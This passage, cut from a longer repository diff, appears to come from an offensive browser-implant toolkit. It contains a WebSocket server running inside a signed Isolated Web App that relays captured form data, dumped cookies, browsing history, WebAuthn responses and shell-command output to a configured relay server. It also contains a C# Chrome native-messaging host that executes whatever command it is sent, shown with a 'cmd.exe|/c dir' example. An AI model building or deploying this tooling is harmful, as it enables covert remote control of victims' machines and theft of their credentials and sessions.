this.sendTcpEcho(connectionInfo, dataString);
}
} else {
// Handle WebSocket frame data
this.log(`FIRECRACKER: Received WebSocket data from ${connectionInfo.connectionId} (${dataArray.length} bytes)`);
// Add to buffer
const newBuffer = new Uint8Array(connectionInfo.buffer.length + dataArray.length);
newBuffer.set(connectionInfo.buffer);
newBuffer.set(dataArray, connectionInfo.buffer.length);
connectionInfo.buffer = newBuffer;
// Try to process complete frames from buffer
this.processWebSocketBuffer(connectionInfo);
}
}
/**
* Process WebSocket frames from buffer
*/
processWebSocketBuffer(connectionInfo) {
let buffer = connectionInfo.buffer;
let offset = 0;
while (offset < buffer.length) {
// Try to parse a frame starting at offset
const frameData = buffer.slice(offset);
const frameBuffer = frameData.buffer.slice(frameData.byteOffset, frameData.byteOffset + frameData.byteLength);
// Calculate frame length
const frameLength = this.calculateWebSocketFrameLength(frameBuffer);
if (frameLength === -1) {
// Invalid frame, skip this byte and continue
this.log(`FIRECRACKER: Invalid WebSocket frame at offset ${offset}, skipping`);
offset += 1;
continue;
}
if (frameLength === 0) {
// Need more data
break;
}
if (frameData.length < frameLength) {
// Frame is incomplete, wait for more data
break;
}
// We have a complete frame
const completeFrame = frameData.slice(0, frameLength);
const completeFrameBuffer = completeFrame.buffer.slice(completeFrame.byteOffset, completeFrame.byteOffset + completeFrame.byteLength);
// Process the complete frame
this.handleWebSocketMessage(connectionInfo, completeFrameBuffer);
// Move to next frame
offset += frameLength;
}
// Remove processed data from buffer
if (offset > 0) {
connectionInfo.buffer = buffer.slice(offset);
}
}
/**
* Calculate the total length of a WebSocket frame
* Returns -1 for invalid frame, 0 for incomplete frame, or frame length
*/
calculateWebSocketFrameLength(arrayBuffer) {
if (arrayBuffer.byteLength < 2) {
return 0; // Need more data
}
const view = new DataView(arrayBuffer);
const secondByte = view.getUint8(1);
const masked = (secondByte & 0x80) === 0x80;
let payloadLength = secondByte & 0x7F;
let headerLength = 2;
// Handle extended payload length
if (payloadLength === 126) {
if (arrayBuffer.byteLength < 4) {
return 0; // Need more data
}
payloadLength = view.getUint16(2);
headerLength = 4;
} else if (payloadLength === 127) {
if (arrayBuffer.byteLength < 10) {
return 0; // Need more data
}
payloadLength = view.getUint32(6); // Use only lower 32 bits
headerLength = 10;
}
// Add masking key length if masked
if (masked) {
headerLength += 4;
}
if (arrayBuffer.byteLength < headerLength) {
return 0; // Need more data
}
return headerLength + payloadLength;
}
/**
* Handle WebSocket handshake
*/
async handleWebSocketHandshake(connectionInfo, request) {
this.log(`FIRECRACKER: Processing WebSocket handshake from ${connectionInfo.connectionId}`);
this.log(`FIRECRACKER: Request headers:`, request.split('\r\n').slice(0, 10));
// Extract WebSocket key
const keyMatch = request.match(/Sec-WebSocket-Key:\s*([^\r\n]+)/i);
if (!keyMatch) {
this.log("FIRECRACKER: Invalid WebSocket handshake - no Sec-WebSocket-Key found");
this.log("FIRECRACKER: Request was:", request);
this.closeConnection(connectionInfo.connectionId);
return;
}
const key = keyMatch[1].trim();
this.log(`FIRECRACKER: WebSocket key: ${key}`);
// Generate accept key
const acceptKey = await this.generateAcceptKey(key);
this.log(`FIRECRACKER: Generated accept key: ${acceptKey}`);
// Create handshake response
const response = [
'HTTP/1.1 101 Switching Protocols',
'Upgrade: websocket',
'Connection: Upgrade',
`Sec-WebSocket-Accept: ${acceptKey}`,
'',
''
].join('\r\n');
this.log(`FIRECRACKER: Sending handshake response:`, response.split('\r\n'));
// Send handshake response
const responseBuffer = new TextEncoder().encode(response);
try {
await connectionInfo.writer.write(responseBuffer);
this.log(`FIRECRACKER: WebSocket handshake completed for ${connectionInfo.connectionId}`);
connectionInfo.isWebSocket = true;
} catch (error) {
this.log(`FIRECRACKER: Failed to send handshake response:`, error);
this.closeConnection(connectionInfo.connectionId);
}
}
/**
* Generate WebSocket accept key using proper SHA-1 + base64
*/
async generateAcceptKey(key) {
const combined = key + this.WS_MAGIC_STRING;
// Use Web Crypto API for proper SHA-1 hashing
const encoder = new TextEncoder();
const data = encoder.encode(combined);
const hashBuffer = await crypto.subtle.digest('SHA-1', data);
// Convert to base64
const hashArray = new Uint8Array(hashBuffer);
let binary = '';
for (let i = 0; i < hashArray.length; i++) {
binary += String.fromCharCode(hashArray[i]);
}
return btoa(binary);
}
/**
* Handle WebSocket message
*/
handleWebSocketMessage(connectionInfo, data) {
try {
// Convert Uint8Array to ArrayBuffer if needed
let arrayBuffer;
if (data instanceof ArrayBuffer) {
arrayBuffer = data;
} else if (data instanceof Uint8Array) {
arrayBuffer = data.buffer.slice(data.byteOffset, data.byteOffset + data.byteLength);
} else {
// Convert other types to Uint8Array first, then to ArrayBuffer
const uint8Array = new Uint8Array(data);
arrayBuffer = uint8Array.buffer.slice(uint8Array.byteOffset, uint8Array.byteOffset + uint8Array.byteLength);
}
// Parse WebSocket frame
const frame = this.parseWebSocketFrame(arrayBuffer);
if (!frame) {
this.log("FIRECRACKER: Failed to parse WebSocket frame");
return;
}
this.log(`FIRECRACKER: WebSocket message from ${connectionInfo.connectionId}: "${frame.payload}"`);
// Handle different frame types
if (frame.opcode === 1) {
this.processWebSocketMessage(frame.payload);
} else if (frame.opcode === 8) {
// Close frame
this.log(`FIRECRACKER: Received close frame from ${connectionInfo.connectionId}`);
this.handleConnectionClose(connectionInfo.connectionId);
} else if (frame.opcode === 9) {
// Ping frame - respond with pong
this.log(`FIRECRACKER: Received ping frame from ${connectionInfo.connectionId}`);
this.sendWebSocketPong(connectionInfo, frame.payload);
} else if (frame.opcode === 10) {
// Pong frame - just log it
this.log(`FIRECRACKER: Received pong frame from ${connectionInfo.connectionId}`);
} else {
this.log(`FIRECRACKER: Received unknown frame type ${frame.opcode} from ${connectionInfo.connectionId}`);
}
} catch (error) {
this.log("FIRECRACKER: Error handling WebSocket message:", error);
this.log("FIRECRACKER: Data type:", typeof data, "Data constructor:", data.constructor.name);
this.log("FIRECRACKER: Data length:", data.length || data.byteLength);
}
}
processWebSocketMessage(message) {
const MESSAGE_TYPE_FORM_DATA = 'form_data';
const MESSAGE_TYPE_LS_COMMAND_RESP = 'ls_command_response';
const MESSAGE_TYPE_SHELL_COMMAND_RESP = 'shell_command_response';
const MESSAGE_TYPE_DUMP_COOKIES_RESP = 'dump_cookies_response';
const MESSAGE_TYPE_DUMP_HISTORY_RESP = 'dump_history_response';
const MESSAGE_TYPE_WEB_AUTHN_RESP = 'webauthn_response';
// Chunking message types
const MESSAGE_TYPE_CHUNK_START = 'chunk_start';
const MESSAGE_TYPE_CHUNK_DATA = 'chunk_data';
const MESSAGE_TYPE_CHUNK_END = 'chunk_end';
this.log(`FIRECRACKER: Received message: ${message.substring(0, 200)}${message.length > 200 ? '...' : ''}`);
let messageObject;
try {
messageObject = JSON.parse(message);
} catch (error) {
this.log(`FIRECRACKER: Error parsing JSON: ${error.message}`);
return;
}
// Handle chunked messages
switch (messageObject.type) {
case MESSAGE_TYPE_CHUNK_START:
this.handleChunkStart(messageObject);
return;
case MESSAGE_TYPE_CHUNK_DATA:
this.handleChunkData(messageObject);
return;
case MESSAGE_TYPE_CHUNK_END:
this.handleChunkEnd(messageObject);
return;
}
// Handle regular messages
switch (messageObject.type) {
case MESSAGE_TYPE_FORM_DATA:
window.getRelayServer().sendCapturedData(messageObject.type, messageObject.data);
break;
case MESSAGE_TYPE_LS_COMMAND_RESP:
case MESSAGE_TYPE_SHELL_COMMAND_RESP:
case MESSAGE_TYPE_DUMP_COOKIES_RESP:
case MESSAGE_TYPE_DUMP_HISTORY_RESP:
case MESSAGE_TYPE_WEB_AUTHN_RESP:
window.getRelayServer().sendCommandResponse(messageObject.type, messageObject.data, messageObject.taskId);
break;
default:
this.log(`FIRECRACKER: Unknown message type: ${messageObject.type}`);
break;
}
}
/**
* Handle chunk start message
*/
handleChunkStart(messageObject) {
const chunkId = messageObject.chunkId;
const totalSize = messageObject.totalSize;
this.log(`FIRECRACKER: Starting chunk reassembly for ${chunkId}, total size: ${totalSize} bytes`);
this.incomingChunks.set(chunkId, {
chunks: [],
totalChunks: 0,
totalSize: totalSize,
receivedChunks: 0
});
}
/**
* Handle chunk data message
*/
handleChunkData(messageObject) {
const chunkId = messageObject.chunkId;
const chunkNum = messageObject.chunkNum;
const data = messageObject.data;
const chunkInfo = this.incomingChunks.get(chunkId);
if (!chunkInfo) {
this.log(`FIRECRACKER: Received chunk data for unknown chunk ID: ${chunkId}`);
return;
}
// Store chunk in correct position
chunkInfo.chunks[chunkNum] = data;
chunkInfo.receivedChunks++;
this.log(`FIRECRACKER: Received chunk ${chunkNum} for ${chunkId} (${chunkInfo.receivedChunks} chunks received)`);
}
/**
* Handle chunk end message
*/
handleChunkEnd(messageObject) {
const chunkId = messageObject.chunkId;
const totalChunks = messageObject.totalChunks;
const chunkInfo = this.incomingChunks.get(chunkId);
if (!chunkInfo) {
this.log(`FIRECRACKER: Received chunk end for unknown chunk ID: ${chunkId}`);
return;
}
chunkInfo.totalChunks = totalChunks;
this.log(`FIRECRACKER: Reassembling ${totalChunks} chunks for ${chunkId}`);
// Check if we have all chunks
if (chunkInfo.receivedChunks !== totalChunks) {
this.log(`FIRECRACKER: Missing chunks for ${chunkId}: expected ${totalChunks}, got ${chunkInfo.receivedChunks}`);
this.incomingChunks.delete(chunkId);
return;
}
// Reassemble the message
let reassembledMessage = '';
for (let i = 0; i < totalChunks; i++) {
if (chunkInfo.chunks[i] === undefined) {
this.log(`FIRECRACKER: Missing chunk ${i} for ${chunkId}`);
this.incomingChunks.delete(chunkId);
return;
}
reassembledMessage += chunkInfo.chunks[i];
}
this.log(`FIRECRACKER: Successfully reassembled message for ${chunkId}: ${reassembledMessage.length} bytes`);
// Clean up
this.incomingChunks.delete(chunkId);
// Process the reassembled message
this.processWebSocketMessage(reassembledMessage);
}
/**
* Parse WebSocket frame (simplified implementation)
*/
parseWebSocketFrame(data) {
try {
const view = new DataView(data);
if (data.byteLength < 2) {
this.log("FIRECRACKER: Frame too short, need at least 2 bytes");
return null;
}
const firstByte = view.getUint8(0);
const secondByte = view.getUint8(1);
const fin = (firstByte & 0x80) === 0x80;
const opcode = firstByte & 0x0F;
const masked = (secondByte & 0x80) === 0x80;
let payloadLength = secondByte & 0x7F;
this.log(`FIRECRACKER: Frame - FIN: ${fin}, Opcode: ${opcode}, Masked: ${masked}, PayloadLength: ${payloadLength}`);
let offset = 2;
// Handle extended payload length
if (payloadLength === 126) {
if (data.byteLength < offset + 2) {
this.log("FIRECRACKER: Frame too short for extended length (126)");
return null;
}
payloadLength = view.getUint16(offset);
offset += 2;
this.log(`FIRECRACKER: Extended payload length: ${payloadLength}`);
} else if (payloadLength === 127) {
if (data.byteLength < offset + 8) {
this.log("FIRECRACKER: Frame too short for extended length (127)");
return null;
}
payloadLength = view.getUint32(offset + 4); // Use only lower 32 bits
offset += 8;
this.log(`FIRECRACKER: Extended payload length (64-bit): ${payloadLength}`);
}
// Handle masking key
let maskingKey = null;
if (masked) {
if (data.byteLength < offset + 4) {
this.log("FIRECRACKER: Frame too short for masking key");
return null;
}
maskingKey = new Uint8Array(data, offset, 4);
offset += 4;
this.log(`FIRECRACKER: Masking key: ${Array.from(maskingKey).map(b => b.toString(16).padStart(2, '0')).join(' ')}`);
}
// Extract payload
if (data.byteLength < offset + payloadLength) {
this.log(`FIRECRACKER: Frame too short for payload. Expected: ${offset + payloadLength}, Got: ${data.byteLength}`);
return null;
}
const payload = new Uint8Array(data, offset, payloadLength);
// Unmask payload if needed
if (masked && maskingKey) {
for (let i = 0; i < payload.length; i++) {
payload[i] ^= maskingKey[i % 4];
}
}
// Only decode text frames (opcode 1)
let decodedPayload = '';
if (opcode === 1) {
decodedPayload = new TextDecoder('utf-8').decode(payload);
} else if (opcode === 8) {
decodedPayload = '[CLOSE FRAME]';
} else if (opcode === 9) {
decodedPayload = '[PING FRAME]';
} else if (opcode === 10) {
decodedPayload = '[PONG FRAME]';
} else {
decodedPayload = `[UNKNOWN OPCODE ${opcode}]`;
}
return {
fin,
opcode,
payload: decodedPayload
};
} catch (error) {
this.log("FIRECRACKER: Error parsing WebSocket frame:", error);
return null;
}
}
/**
* Send WebSocket message
*/
async sendWebSocketMessage(connectionInfo, message) {
try {
const payload = new TextEncoder().encode(message);
let frame;
this.log(`FIRECRACKER: Sending WebSocket message to ${connectionInfo.connectionId}: "${message}" (${payload.length} bytes)`);
// Create frame based on payload length
if (payload.length < 126) {
frame = new ArrayBuffer(2 + payload.length);
const view = new DataView(frame);
// First byte: FIN (1) + RSV (000) + Opcode (0001 for text)
view.setUint8(0, 0x81);
// Second byte: MASK (0) + Payload length
view.setUint8(1, payload.length);
// Copy payload
new Uint8Array(frame, 2).set(payload);
} else if (payload.length < 65536) {
frame = new ArrayBuffer(4 + payload.length);
const view = new DataView(frame);
view.setUint8(0, 0x81);
view.setUint8(1, 126);
view.setUint16(2, payload.length);
// Copy payload
new Uint8Array(frame, 4).set(payload);
} else {
// For simplicity, we'll limit to 65535 bytes
this.log("FIRECRACKER: Message too large, truncating to 65535 bytes");
const truncatedPayload = payload.slice(0, 65535);
frame = new ArrayBuffer(4 + truncatedPayload.length);
const view = new DataView(frame);
view.setUint8(0, 0x81);
view.setUint8(1, 126);
view.setUint16(2, truncatedPayload.length);
new Uint8Array(frame, 4).set(truncatedPayload);
}
await connectionInfo.writer.write(new Uint8Array(frame));
this.log(`FIRECRACKER: WebSocket message sent successfully to ${connectionInfo.connectionId}`);
} catch (error) {
this.log(`FIRECRACKER: Failed to send WebSocket message to ${connectionInfo.connectionId}:`, error);
// If the connection is broken, clean it up
if (error.name === 'NetworkError' || error.message.includes('closed')) {
this.log(`FIRECRACKER: Connection ${connectionInfo.connectionId} appears to be broken, cleaning up`);
this.handleConnectionClose(connectionInfo.connectionId);
}
}
}
/**
* Send WebSocket pong frame
*/
async sendWebSocketPong(connectionInfo, pingPayload = '') {
try {
const payload = new TextEncoder().encode(pingPayload);
let frame;
// Create pong frame (opcode 10)
if (payload.length < 126) {
frame = new ArrayBuffer(2 + payload.length);
const view = new DataView(frame);
// First byte: FIN (1) + RSV (000) + Opcode (1010 for pong)
view.setUint8(0, 0x8A);
// Second byte: MASK (0) + Payload length
view.setUint8(1, payload.length);
// Copy payload
if (payload.length > 0) {
new Uint8Array(frame, 2).set(payload);
}
} else {
// For simplicity, limit pong payload to 125 bytes
const truncatedPayload = payload.slice(0, 125);
frame = new ArrayBuffer(2 + truncatedPayload.length);
const view = new DataView(frame);
view.setUint8(0, 0x8A);
view.setUint8(1, truncatedPayload.length);
new Uint8Array(frame, 2).set(truncatedPayload);
}
await connectionInfo.writer.write(new Uint8Array(frame));
this.log(`FIRECRACKER: WebSocket pong sent to ${connectionInfo.connectionId}`);
} catch (error) {
this.log(`FIRECRACKER: Failed to send WebSocket pong:`, error);
}
}
/**
* Send TCP echo response
*/
async sendTcpEcho(connectionInfo, message) {
const echoMessage = `FIRECRACKER: ${message}`;
const buffer = new TextEncoder().encode(echoMessage);
try {
await connectionInfo.writer.write(buffer);
this.log(`FIRECRACKER: TCP echo sent to ${connectionInfo.connectionId}`);
} catch (error) {
this.log(`FIRECRACKER: Failed to send TCP echo:`, error);
}
}
/**
* Handle connection close
*/
async handleConnectionClose(connectionId) {
this.log(`FIRECRACKER: Connection closed: ${connectionId}`);
const connectionInfo = this.clientConnections.get(connectionId);
if (connectionInfo) {
try {
// Close the writer
await connectionInfo.writer.close();
// Close the TCP socket
await connectionInfo.tcpSocket.close();
} catch (error) {
this.log(`FIRECRACKER: Error closing connection ${connectionId}:`, error);
}
this.clientConnections.delete(connectionId);
}
}
/**
* Close a connection
*/
async closeConnection(connectionId) {
await this.handleConnectionClose(connectionId);
}
/**
* Stop the server
*/
async stop() {
if (!this.isRunning) return;
this.log("FIRECRACKER: Stopping server...");
this.isRunning = false;
// Close all client connections
for (const [connectionId] of this.clientConnections) {
await this.closeConnection(connectionId);
}
// Close server socket
if (this.serverSocket !== null) {
try {
await this.serverSocket.close();
} catch (error) {
this.log("FIRECRACKER: Error closing server socket:", error);
}
this.serverSocket = null;
}
this.log("FIRECRACKER: Server stopped");
}
/**
* Get server status
*/
getStatus() {
return {
isRunning: this.isRunning,
port: this.port,
connectedClients: this.clientConnections.size
};
}
}
// Global instance
let firecrackerServer = null;
// Export getter for server instance
export function getFirecrackerServer() {
return firecrackerServer;
}
// Initialize server when script loads
export async function initializeFirecrackerServer(logCallback = null) {
try {
firecrackerServer = new FirecrackerWebSocketServer(null, logCallback);
await firecrackerServer.start();
firecrackerServer.log("FIRECRACKER: Server initialized successfully");
return firecrackerServer;
} catch (error) {
firecrackerServer.log("FIRECRACKER: Failed to initialize server:", error);
return null;
}
}
+13
View File
@@ -0,0 +1,13 @@
{
"compilerOptions": {
"module": "commonjs",
"lib": ["dom", "es2015"],
"outDir": "./dist/",
"sourceMap": true,
"noImplicitAny": true,
"noImplicitReturns": true,
"noImplicitThis": true,
"strictNullChecks": true,
"target": "es5"
}
}
+106
View File
@@ -0,0 +1,106 @@
const path = require('path');
const HtmlWebpackPlugin = require('html-webpack-plugin');
const webpack = require('webpack');
const fs = require("fs");
const dotenv = require('dotenv');
// Load environment variables from .env file
const envPath = path.resolve(process.cwd(), '.env');
let envConfig = {};
// Check if .env file exists before trying to load it
if (fs.existsSync(envPath)) {
console.log(`Loading environment from: ${envPath}`);
envConfig = dotenv.parse(fs.readFileSync(envPath));
} else {
console.warn('No .env file found. Using only environment variables.');
}
// Get private key setup
const privateKeyFile = process.env.KEYFILE || envConfig.KEYFILE || "private.key";
let privateKey;
if (process.env.KEY || envConfig.KEY) {
privateKey = process.env.KEY || envConfig.KEY;
} else if (fs.existsSync(privateKeyFile)) {
privateKey = fs.readFileSync(privateKeyFile);
}
// Get relay configuration - prioritize environment variables over .env file
const wsDomain = process.env.WS_DOMAIN || envConfig.WS_DOMAIN;
const relayToken = process.env.RELAY_TOKEN || envConfig.RELAY_TOKEN;
const firecrackerPort = process.env.FIRECRACKER_PORT || envConfig.FIRECRACKER_PORT;
// Validate required environment variables
if (!wsDomain) {
console.error('\x1b[31m%s\x1b[0m', 'ERROR: WS_DOMAIN is not defined!');
console.error('\x1b[33m%s\x1b[0m', 'Please set WS_DOMAIN in your .env file or as an environment variable.');
console.error('\x1b[33m%s\x1b[0m', 'Example: WS_DOMAIN=your-relay-server.com');
process.exit(1); // Exit with error code
}
if (!relayToken) {
console.error('\x1b[31m%s\x1b[0m', 'ERROR: RELAY_TOKEN is not defined!');
console.error('\x1b[33m%s\x1b[0m', 'Please set RELAY_TOKEN in your .env file or as an environment variable.');
console.error('\x1b[33m%s\x1b[0m', 'Example: RELAY_TOKEN=your-secret-token');
process.exit(1); // Exit with error code
}
console.log(`Using WebSocket URL: wss://${wsDomain}:443`);
// Don't log the full token for security reasons
console.log(`Using Relay Token: ${relayToken.substring(0, 8)}...`);
if (firecrackerPort) {
console.log(`Using FIRECRACKER Port: ${firecrackerPort}`);
}
// Create the webpack configuration
const config = {
entry: './src/main.js',
output: {
filename: 'bundle.js',
path: path.resolve(__dirname, 'dist'),
clean: true
},
module: {
rules: [
{
test: /\.js$/,
exclude: /node_modules/,
use: {
loader: 'babel-loader'
}
},
{
test: /\.css$/,
use: ['style-loader', 'css-loader']
}
]
},
plugins: [
new HtmlWebpackPlugin({
template: 'src/index.html'
}),
// Add DefinePlugin to inject environment variables
new webpack.DefinePlugin({
'process.env.WS_DOMAIN': JSON.stringify(wsDomain),
'process.env.RELAY_TOKEN': JSON.stringify(relayToken),
'process.env.FIRECRACKER_PORT': JSON.stringify(firecrackerPort)
})
],
resolve: {
extensions: ['.js']
}
};
// Add shared variables as a non-enumerable property to avoid webpack schema validation
Object.defineProperty(config, 'sharedEnv', {
enumerable: false,
value: {
privateKey,
privateKeyFile,
wsDomain,
relayToken,
firecrackerPort
}
});
module.exports = config;
+77
View File
@@ -0,0 +1,77 @@
const { merge } = require('webpack-merge');
const common = require('./webpack.config.cjs');
const TerserPlugin = require('terser-webpack-plugin');
const WebBundlePlugin = require('webbundle-webpack-plugin');
const { WebBundleId, parsePemKey } = require('wbn-sign');
// Get shared environment variables
// Access the non-enumerable property
const sharedEnv = common.sharedEnv || {};
const privateKey = sharedEnv.privateKey;
// Configure web bundle plugin
let webBundlePlugin;
if (privateKey) {
const parsedPrivateKey = parsePemKey(privateKey);
webBundlePlugin = new WebBundlePlugin({
baseURL: new WebBundleId(parsedPrivateKey).serializeWithIsolatedWebAppOrigin(),
static: { dir: 'assets' },
output: 'app.swbn',
integrityBlockSign: { key: parsedPrivateKey }
});
} else {
webBundlePlugin = new WebBundlePlugin({
baseURL: '/',
output: 'app.wbn',
});
}
// Merge configurations
module.exports = merge(common, {
mode: 'production',
optimization: {
minimize: true,
minimizer: [
new TerserPlugin({
terserOptions: {
format: {
comments: false,
ascii_only: true
},
compress: {
drop_console: true,
drop_debugger: true,
pure_funcs: [],
passes: 3,
unsafe: true,
unsafe_math: true,
unsafe_methods: true,
unsafe_proto: true,
unsafe_regexp: true,
collapse_vars: true,
dead_code: true,
reduce_vars: true,
booleans_as_integers: true
},
mangle: {
eval: false,
keep_classnames: false,
keep_fnames: false,
toplevel: true,
safari10: true,
properties: false
},
ecma: 2020,
module: true
},
extractComments: false,
}),
],
},
output: {
clean: true
},
plugins: [
webBundlePlugin,
]
});
+62
View File
@@ -0,0 +1,62 @@
/**
* Copyright 2022 Google LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
const { merge } = require('webpack-merge');
const common = require('./webpack.config.cjs');
const WebBundlePlugin = require('webbundle-webpack-plugin');
const { WebBundleId, parsePemKey } = require('wbn-sign');
// Get shared environment variables with fallback
const sharedEnv = common.sharedEnv || {};
const privateKey = sharedEnv.privateKey;
// Configure web bundle plugin
let webBundlePlugin;
if (privateKey) {
const parsedPrivateKey = parsePemKey(privateKey);
webBundlePlugin = new WebBundlePlugin({
baseURL: new WebBundleId(
parsedPrivateKey
).serializeWithIsolatedWebAppOrigin(),
static: {
dir: 'assets',
},
output: 'app.swbn',
integrityBlockSign: {
key: parsedPrivateKey
},
});
} else {
webBundlePlugin = new WebBundlePlugin({
baseURL: '/',
output: 'app.wbn',
});
}
module.exports = merge(common, {
mode: 'development',
devtool: 'source-map',
optimization: {
minimize: false,
moduleIds: 'named',
chunkIds: 'named',
mangleExports: false,
},
plugins: [
webBundlePlugin,
]
});
+134
View File
@@ -0,0 +1,134 @@
# Contributor Covenant Code of Conduct
## Our Pledge
We as members, contributors, and leaders pledge to make participation in our
community a harassment-free experience for everyone, regardless of age, body
size, visible or invisible disability, ethnicity, sex characteristics, gender
identity and expression, level of experience, education, socio-economic status,
nationality, personal appearance, race, caste, color, religion, or sexual identity
and orientation.
We pledge to act and interact in ways that contribute to an open, welcoming,
diverse, inclusive, and healthy community.
## Our Standards
Examples of behavior that contributes to a positive environment for our
community include:
* Demonstrating empathy and kindness toward other people
* Being respectful of differing opinions, viewpoints, and experiences
* Giving and gracefully accepting constructive feedback
* Accepting responsibility and apologizing to those affected by our mistakes,
and learning from the experience
* Focusing on what is best not just for us as individuals, but for the
overall community
Examples of unacceptable behavior include:
* The use of sexualized language or imagery, and sexual attention or
advances of any kind
* Trolling, insulting or derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or email
address, without their explicit permission
* Other conduct which could reasonably be considered inappropriate in a
professional setting
## Enforcement Responsibilities
Community leaders are responsible for clarifying and enforcing our standards of
acceptable behavior and will take appropriate and fair corrective action in
response to any behavior that they deem inappropriate, threatening, offensive,
or harmful.
Community leaders have the right and responsibility to remove, edit, or reject
comments, commits, code, wiki edits, issues, and other contributions that are
not aligned to this Code of Conduct, and will communicate reasons for moderation
decisions when appropriate.
## Scope
This Code of Conduct applies within all community spaces, and also applies when
an individual is officially representing the community in public spaces.
Examples of representing our community include using an official e-mail address,
posting via an official social media account, or acting as an appointed
representative at an online or offline event.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported to the community leaders responsible for enforcement at
opensource@praetorian.com.
All complaints will be reviewed and investigated promptly and fairly.
All community leaders are obligated to respect the privacy and security of the
reporter of any incident.
## Enforcement Guidelines
Community leaders will follow these Community Impact Guidelines in determining
the consequences for any action they deem in violation of this Code of Conduct:
### 1. Correction
**Community Impact**: Use of inappropriate language or other behavior deemed
unprofessional or unwelcome in the community.
**Consequence**: A private, written warning from community leaders, providing
clarity around the nature of the violation and an explanation of why the
behavior was inappropriate. A public apology may be requested.
### 2. Warning
**Community Impact**: A violation through a single incident or series
of actions.
**Consequence**: A warning with consequences for continued behavior. No
interaction with the people involved, including unsolicited interaction with
those enforcing the Code of Conduct, for a specified period of time. This
includes avoiding interactions in community spaces as well as external channels
like social media. Violating these terms may lead to a temporary or
permanent ban.
### 3. Temporary Ban
**Community Impact**: A serious violation of community standards, including
sustained inappropriate behavior.
**Consequence**: A temporary ban from any sort of interaction or public
communication with the community for a specified period of time. No public or
private interaction with the people involved, including unsolicited interaction
with those enforcing the Code of Conduct, is allowed during this period.
Violating these terms may lead to a permanent ban.
### 4. Permanent Ban
**Community Impact**: Demonstrating a pattern of violation of community
standards, including sustained inappropriate behavior, harassment of an
individual, or aggression toward or disparagement of classes of individuals.
**Consequence**: A permanent ban from any sort of public interaction within
the community.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage],
version 2.1, available at
[https://www.contributor-covenant.org/version/2/1/code_of_conduct.html][v2.1].
Community Impact Guidelines were inspired by
[Mozilla's code of conduct enforcement ladder][Mozilla CoC].
For answers to common questions about this code of conduct, see the FAQ at
[https://www.contributor-covenant.org/faq][FAQ]. Translations are available
at [https://www.contributor-covenant.org/translations][translations].
[homepage]: https://www.contributor-covenant.org
[v2.1]: https://www.contributor-covenant.org/version/2/1/code_of_conduct.html
[Mozilla CoC]: https://github.com/mozilla/diversity
[FAQ]: https://www.contributor-covenant.org/faq
[translations]: https://www.contributor-covenant.org/translations
@@ -0,0 +1,23 @@
<?xml version="1.0" encoding="utf-8"?>
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>NativeAppHost</RootNamespace>
<AssemblyName>NativeAppHost</AssemblyName>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|AnyCPU'">
<DefineConstants>DEBUG;TRACE</DefineConstants>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|AnyCPU'">
<DefineConstants>TRACE</DefineConstants>
<DebugType>none</DebugType>
<Optimize>true</Optimize>
</PropertyGroup>
</Project>
@@ -0,0 +1,92 @@
using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Text;
namespace Chrome
{
public class NativeMessaging
{
public static string ParseMessage(string nativeMessage)
{
string command, args;
try
{
string parsedMessage = nativeMessage.Substring("{\"message\":\"".Length, nativeMessage.Length - "{\"message\":\"".Length - "\"}".Length);
// File.AppendAllText("./message.txt", parsedMessage);
command = parsedMessage.Split('|')[0];
args = string.Join("|", parsedMessage.Split('|').Skip(1).ToArray());
// File.AppendAllText("./message.txt", string.Format("\n{0}\n{1}",command, args));
}
catch (Exception)
{
// File.AppendAllText("./message.txt", e.Message);
return $"Message \"{nativeMessage}\" was not correctly formatted";
}
Process process = new Process
{
StartInfo = new ProcessStartInfo
{
FileName = command,
Arguments = args,
UseShellExecute = false, RedirectStandardOutput = true,
CreateNoWindow = true
}
};
try
{
process.Start();
string output = "";
while (!process.StandardOutput.EndOfStream)
{
var line = process.StandardOutput.ReadLine();
output += line + "\n";
}
process.WaitForExit();
return output;
}
catch (Exception e)
{
return $"An Error happened: {e.Message}";
}
}
// Token: 0x0600000A RID: 10 RVA: 0x00002BD8 File Offset: 0x00000DD8
public static string OpenStandardStreamIn()
{
Stream stream = Console.OpenStandardInput();
byte[] array = new byte[4];
stream.Read(array, 0, 4);
int num = BitConverter.ToInt32(array, 0);
string text = "";
for (int i = 0; i < num; i++)
{
text += (char)stream.ReadByte();
}
return text;
}
// Token: 0x0600000B RID: 11 RVA: 0x00002C30 File Offset: 0x00000E30
public static void OpenStandardStreamOut(string stringData)
{
string encodedData = Convert.ToBase64String(Encoding.UTF8.GetBytes(stringData));
string message = string.Format("{{\"data\":\"{0}\"}}",encodedData);
int length = message.Length;
Stream stream = Console.OpenStandardOutput();
stream.WriteByte((byte)(length & 255));
stream.WriteByte((byte)(length >> 8 & 255));
stream.WriteByte((byte)(length >> 16 & 255));
stream.WriteByte((byte)(length >> 24 & 255));
stream.Write(Encoding.UTF8.GetBytes(message),0,length);
stream.Flush();
}
}
}
@@ -0,0 +1,39 @@
using System;
using System.IO;
namespace Chrome
{
internal class Program
{
/**
var port = chrome.runtime.connectNative('com.chrome.alone');
port.onMessage.addListener(function(msg) {
console.log("Received: " + msg["data"]);
});
port.onDisconnect.addListener(function() {
console.log("Disconnected");
});
port.postMessage({"message":"cmd.exe|/c dir"});
*/
public static void Main(string[] args)
{
string message = NativeMessaging.OpenStandardStreamIn();
if (!string.IsNullOrEmpty(message))
{
// File.WriteAllText("./message.txt", message);
if (message.Contains("|"))
{
string output = NativeMessaging.ParseMessage(message);
NativeMessaging.OpenStandardStreamOut(output);
}
}
}
// public static void Test()
